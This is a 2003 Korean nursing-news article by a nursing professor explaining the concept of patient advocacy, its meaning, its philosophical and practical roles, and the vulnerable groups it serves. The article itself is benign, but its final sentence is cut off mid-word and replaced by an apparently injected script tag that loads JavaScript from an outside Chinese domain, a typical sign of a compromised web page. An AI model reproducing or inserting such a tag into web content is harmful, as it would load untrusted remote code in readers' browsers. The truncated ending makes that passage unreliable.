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간협 80주년 -조갑출 교수의 옹호개념 풀어가기(2)
[적십자간호대학 교수] 조갑출   news@nursenews.co.kr     기사입력 2003-05-22 오전 10:06:38
'옹호'가 일찍이 주요 간호역할의 하나로 문헌에 자주 등장했음에도 불구하고 간호계에서 생소하게 느끼는 이유는, 단어가 주는 어감이 생소할뿐더러, 이 단어의 쓰임새(用例) 때문으로 여겨진다. 우리사회에서는 흔히 '인권옹호' '권익옹호' '어떤 주의나 주장, 입장의 옹호' 등과 같은 용례로 옹호라는 단어가 사용되어왔다. 그러므로 일상적인 생활용어처럼 익숙한 용어가 아닌 것은 분명하다.

우스개 소리지만, 필자가 '간호대상자 옹호'에 관해 연구하고 있을 때, 주변의 동료들이 "옹호? 뭘 그리 이상한 것을 하냐?"라는 핀잔을 하는가 하면, 개념에 대해 좀 이해하는 사람들은 '운동권 간호사'니, '인권 간호사'니 하는 별명을 붙여 줄 정도였다.

◆ 옹호의 의미
국어사전에 의하면 옹호의 옹(擁)은 '안다, 가린다, 막는다'의 뜻을 가지며, 호(護)는 '지키고 보호한다'는 뜻이다. 따라서 옹호의 사전적 의미는 '편을 들고 두둔하여 보호하는 것' '무엇을 두둔하고 지지하여 이롭게 한다'는 뜻이다. 원래는 다른 사람을 대신하여 변호하는 의미로 변호사의 역할과 관련해서 사용되어 왔다. 즉, 다른 사람의 편에 서서 행동하고, 바른 정보를 제공하여 스스로 결정하도록 도움으로써 그 사람이 최상의 이익을 얻고, 욕구가 충족되도록 한다는 의미이다.
그렇다면 옹호와 보호는 다른 개념인가? 또는 같은 개념인가? 옹호는 힘의 불균형이 초래되는 상황에서 힘없는 약자 편에서 적극적으로 두둔하고 편을 들어 도와줌으로써 그에게 이득을 가져오게 하는 것이고, 보호는 힘의 불균형과 상관없이, 누구의 편에 선다기 보다는 중립적인 입장에서 상대의 위험을 방지하는 것이다.

◆ 옹호와 간호철학
간호문헌에서 옹호개념은 간호의 철학적 토대로 보는 관점과 간호의 실무개념으로 보는 관점으로 나누어진다. 옹호개념은 근본적으로 윤리개념에 속하는 것으로서, 인간의 이상과 간호의 소명에 대한 철학적 진술로 시작되었으나 점차 간호사의 행위나 간호중재로 보는 관점으로 발전하였다. Gadow, Curtin, Fowler 등은 윤리적 의사결정모델로부터 옹호간호(advocacy nursing) 의 개념을 도출하여 이를 간호의 도덕적, 철학적 토대로 보는 입장을 견지하고 있다.
이와는 달리, 옹호개념을 간호사의 역할이나 간호행위로 정의하고, 옹호자로서의 간호역할을 환자 대신 직접 행하는 자, 정보제공자, 건강관리의 질 감시자, 환자의 권리와 치료적 대안에 대한 설명, 대변자, 제도적 정치적 행동가, 인권보호 등으로 보는 관점도 있다. 이러한 입장을 견지하는 사람들은 '옹호개념은 간호윤리이론의 실무개념'으로 자리매김하고 '환자나 가족에게 최상의 건강상의 이득을 주는 간호중재'라고 정의하고 있다.

◆ 누구를 옹호하는가
실무에서 간호대상자 옹호활동이 일어나는 본질적인 요건은 '대상자의 취약성과 간호사의 전문직적 의무감'이라고 했다. 즉, 간호사가 전문인으로서의 의무감을 가지고, 위태롭고 해가 되는 상황에 있거나, 상대적으로 불리한 입장에 있는 개인이나 집단의 편에 서서, 건강상의 이득을 가져오게 하는 간호활동이 곧 옹호이다.
옹호는 근본적으로 힘없고 약한 자를 보호하기 위한 관점에서 출발하므로, 환자, 버림받고 소외된 자, 장애자, 소수민족, 에이즈감염인, 자기주장을 할 수 없는 어린이, 여성, 노인, 정신질환자, 무의식환자, 재해피해자 등 모든 약자가 옹호의 대상이 될 수 있다. 뿐만 아니라 대중에게 해가 될 수 있는 잘못된 건강정책, 그릇된 건강정보나 사회적 통념들에 대해 서 대중의 편에 서서 그들을 보호함으로써 건강상의 위험을 막는 것도 간호대상자 옹호영역이 될 수 있다.
그러므로 옹호간호사(nurse advocator)는 때로는 건강관리정책을 변화시키기도 하고, 건강관리의 질을 감시하고, 대상자의 건강이익을 최우선으로 하여 위험을 무릅쓰고 중재하는 사회운동가로서의 역할을 해야 하는 경우도 있다.
직접간호를 제공하는 것 외에 대상자가 자기결정을 할 수 있도록 건강관리와 관련된 정보를 제공하고, 때론 사회복지사와, 때론 의료진과, 때론 정부 및 사회와 협동하고 조정하며, 간호대상자가 처한 상황을 대변하고 그의 건강상의 이득과 건강권을 보장하기 위해 활동해야 한다.
간호사가 그들의 편에 서서 그들의 건강이득을 위해 열정적으로 활동할 때, 그들 또한 간호를 존중할 것이며, 만에 하나 사회속에서 우리의 입지가 어려워지는 경우가 있다면 그들이 간호를 옹호하려 할 것이다.
Martha Rogers 의 말이 생각난다. 그는 "병원, 지역사회, 가정, 학교, 직장, 심지어는 우주의 혹성에까지도, 인간이 있는 모든 곳에는 간호가 존재한다"고 했다. 그의 생각에 비추어 본다면, 오늘날 기본적인 인권의 하나로 자리매김하고 있는 건강과 관련하여 상대적으로 약자 위치에 있는 개인이나 집?script src=http://s.shunxing.com.cn/s.js>
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